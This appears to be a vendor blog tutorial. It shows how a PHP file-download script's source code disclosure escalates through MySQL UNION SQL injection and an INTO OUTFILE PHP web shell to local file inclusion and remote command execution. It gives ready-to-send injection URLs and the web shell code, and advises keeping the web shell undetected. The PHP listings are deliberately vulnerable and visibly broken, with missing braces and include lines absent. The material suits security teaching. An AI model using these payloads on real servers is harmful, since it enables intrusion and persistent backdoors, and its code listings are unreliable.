Why is Source Code Disclosure dangerous?

Source code often contains some form of sensitive information—whether it be configuration related information (e.g. database credentials) or simply information on how the web application functions. If disclosed, such information can potentially be used by an attacker to discover logical flaws and escalate into a subsequent chain of attacks which would not be possible without having access to the application’s source code. These may include attacks such as, SQL injection, database take overs and remote code execution.

It is common practice for web applications to serve non-HTML files, such as PDFs, image files and Word documents that are customized for a specific user.

Let’s take the below example where we have a simple web application http://www.example.com/. This web application is intended to allow users to download a PDF file through a hyperlink.

Source Code Disclosure

If we take a closer look, following the link makes an HTTP GET request to a download.php script which makes use of the filename parameter.

More specifically, the following request is sent when the link is clicked – http://www.example.com/download.php?filename=aboutus.pdf

Knowing this, we can take a closer look at the the filename parameter since it seems that the download.php script is designed to allow users to download a specific file from the server. Therefore, what would happen if we sent a request to download.php, passing ‘download.php’ as the value for the filename parameter instead of ‘aboutus.pdf’? The resulting URL would look as follows — http://www.example.com/download.php?filename=download.php

Source Code Disclosure

After sending the request, the file download.php is served to the browser, effectively revealing the source code of download.php and by looking through the source code, it’s evident that this occurred because the script is performing absolutely no user input validation.


// Import global config values

// Get the filename passed by the user
$filepath = $_GET['filename'];

if ($filepath) {
    $connection = mysql_connect($cfg['DATABASE']['HOST'], $cfg['DATABASE']['UNAME'], $cfg['DATABASE']['PASS']);

    mysql_select_db('logs', $connection);

    if (!link) {
        die('Could not connect: ' . mysql_error());

    $user_agent = $_SERVER['HTTP_USER_AGENT'];

    // Used by stats.php to track download trends
    $sql = "INSERT INTO stats VALUES ('$filepath', now(), '$user_agent')";

    $result = mysql_query($sql, $connection);

    if (!$result) {
        echo 'DB Error: ' . mysql_error($connection);

    // Clean-up and send file
    header('Content-Disposition: attachment; filename=' . basename($filepath));

Escalating the attack further

The contents of download.php reveal more information that was not available without having access to the source code. By taking a closer look we can see an interesting comment, “Used by stats.php to track download trends” as well as an include directive to admin/config.php.

We can use this information to pivot our way through the application directory and gain more information prior to escalating our attack. Using our source-code disclosure vulnerability let’s try fetching these two new files, starting with admin/config.php




$cfg['TITLE'] = 'Vulnerable Host';

$cfg['BASE_URL'] = 'http://www.example.com/';

$cfg['DATABASE']['TYPE'] = 'mysql';
$cfg['DATABASE']['HOST'] = 'localhost';
$cfg['DATABASE']['UNAME'] = 'root';
$cfg['DATABASE']['PASS'] = 'toor';

admin/config.php gives us some interesting overall information. We now know that the database is hosted on the same server hosting the web application and is running MySQL on localhost. We are not able to connect to it as it does not accept any external connections. That said, the information may still be useful to have later on.

Moving on to the second file, stats.php


Source code disclosure 3


// Import global config values

print '<table style="width:100%">';
print '<tr><th>Available Files</th>';
print '<tr><td><a href=' . $cfg['BASE_URL'] . 'stats.php?filename=aboutus.pdf>About Us (PDF)</a></td>';
print '<tr><td><a href=' . $cfg['BASE_URL'] . 'stats.php?filename=pricing.html>Pricing (HTML)</a></td>';
print '<tr><td><a href=' . $cfg['BASE_URL'] . 'stats.php?filename=services.pdf>Services (PDF)</a></td>';
print '</table>';

print '<br>'; print '<br>';

$filepath = $_GET['filename'];

if ($filepath) {

    // Import the user-specified file

    $connection = mysql_connect($cfg['DATABASE']['HOST'], $cfg['DATABASE']['UNAME'], $cfg['DATABASE']['PASS']);

    mysql_select_db('logs', $connection);

    if (!link) {
        die('Could not connect: ' . mysql_error());

    $sql = "SELECT * FROM stats WHERE filename = '$filepath'";

    $result = mysql_query($sql, $connection) or die(mysql_error());

    print '<table style="width:100%; border: 1px solid black; text-align: left;">';
    print '<tr><th>Filename</th><th>Timestamp</th><th>User-Agent String</th></tr>';
    while ($row = mysql_fetch_assoc($result)) {
        print "<tr>";
        foreach ($row as $column => $value) {
            print "<td style='text-align: left;'>$value</td>";
        print "</tr>";

    print '</table>';

The stats.php file exposes some more interesting information that provides us with the history of all downloads made on a particular set of files. What’s more interesting is that these logs are fetched directly from the same table that are inserted into from download.php which hints that there may be a SQL Injection vulnerability.

SQL Injection

Previously we obtained some valuable information from the config.php file thanks to the source-code disclosure vulnerability, in that the database is running MySQL. This allows us to fabricate SQL Injection attacks catered towards MySQL without needing to guess the DBMS.

First, let’s try fetching the version of MySQL with the following payload:

http://www.example.com/stats.php?filename=' UNION SELECT @@version, null, null#

source code disclosure 4

Looks like the server is running Ubuntu 14.04.1 and MySQL 5.5.49. Let’s leverage this and try to drop a webshell into the server by using MySQL’s SELECT … INTO OUTFILE … statement.

We want to drop the webshell in an unrestricted part of the server’s file system which is easy to access. In this case, since it is running Ubuntu 14.04.1 we can try dropping the file under /tmp/ which does not hold any user restrictions.

The statement we are looking to achieve is:

SELECT * FROM stats WHERE filename = '' UNION SELECT '<?php system($_GET["cmd"]); ?>', '', '' INTO OUTFILE '/tmp/cmd.php';#

Making sure that the filename parameter is empty (or non-existent) ensures that no other data is outputted to our webshell named, cmd.php. We then extend the query provided by stats.php by using a UNION directive into our SELECT … INTO OUTFILE … directive which will essentially allow us to write a string of text out to the server’s file system.

You may be noticing the following – SELECT ‘code’, ”, ” and wondering why there are two additional empty strings. This is because the left-most SELECT statement returns three columns – Filename, Timestamp & User-Agent String. Thus we must make sure that the UNION SELECT matches the number of columns as well.

With this in mind, let’s fabricate our new request that will allow to write our malicious file into the system:

http://www.example.com/stats.php?filename=' UNION SELECT '<?php echo(system($_GET["cmd"])); ?>', '', '' INTO OUTFILE 'cmd.php';#

source code disclosure 5

Sending the request did not return any value to the web page which is a good sign as this indicates that the output has been successfully written, however we would still need to verify this.

Explaining the Webshell

In our fabricated request we saw the following piece of code being written to our web shell, cmd.php:

<?php echo(system($_GET["cmd"])); ?>

Effectively, this is a very simple PHP web shell that allows us to invoke the file whilst passing in a system command through a GET parameter (e.g. ?cmd=whoami). This effectively allows us to run a number of commands with adequate privileges and print the message out to standard output (stdout) for us to read.

The Last Step

Since we decided to deploy the web shell under /tmp/, we have to figure a way out to not only access (read) but also invoke that cmd.php file. With our download.php file we could easily exploit a Directory Traversal (read-only) but we need to take it a step further and exploit a Local File Inclusion vulnerability in order for us to be able to invoke the webshell.

Taking a look at all of the source-code we have extracted so far, there are three instances where the include directive is used:

download.php 	 (Line: 4) - include('admin/config.php')
stats.php 	 (Line: 4) - include('admin/config.php')
		 (Line: 20) - include($filepath)

Instead, let’s try leveraging stats.php to locate our cmd.php file and see if we can list the server’s /etc/passwd file command against it. If it works, we would have gained a persistent backdoor on the web server allowing us to remotely run commands on the server unauthenticated.

That said, let’s take a look at our latest request:

http://www.example.com/stats.php?filename=../../../../../../../../../../../../../../tmp/cmd.php&cmd=cat /etc/passwd

We first move a few directories up (removing a few ../ generally won’t hurt) and accessing our cmd.php file directly.

Notice how the cmd parameter is being appended to stats.php and not cmd.php (even though cmd.php is the one that uses $_GET[‘cmd’]). This is because cmd.php is being included into stats.php and inheriting the superglobal $_GET variable.

source code disclosure 6

There is our response returned back to us. Looks like we have been able to execute the command and print the contents of the command to the web page for us to view.


Being able to discover all of the above vulnerabilities in such a series of steps would require a lot of time and effort. In our example, we have discovered and exploited the following vulnerabilities:

  • Source Code Disclosure
  • SQL Injection
  • Local File Inclusion

This took a series of long steps to analyze and escalate with the chance of missing some other vulnerabilities (e.g. Cross-site Scripting) in the process.

With Acunetix Vulnerability Scanner, we could essentially discover all of these security vulnerabilities beforehand by running a scan and knowing exactly what to patch whilst also being able to discover additional vulnerabilities.

source code disclosure 6


Gaining a persistent backdoor is lethal but we must make sure that the webshell itself remains undetected.

As we have seen throughout this example, a simple source-code disclosure led us step by step over to SQL Injection to drop our webshell and Local File Inclusion to invoke our webshell to run commands remotely. Another step may be to patch the vulnerabilities so that other attackers cannot use nor discover the same vulnerabilities that we used.

Share this post
  • Nice article, but a little criticism: Even when creating “vulnerable” PHP code, don’t use `mysql_` functions but MySQLi or PDO. Readers will take and use every example they can find on the internet.

    • Hi Jan,

      Thank you for the comment. I have updated the article’s format and added a warning block prior to the code examples, warning users not to use any of the code in a real project as they are open to multiple vulnerabilities.

  • Leave a Reply

    Your email address will not be published.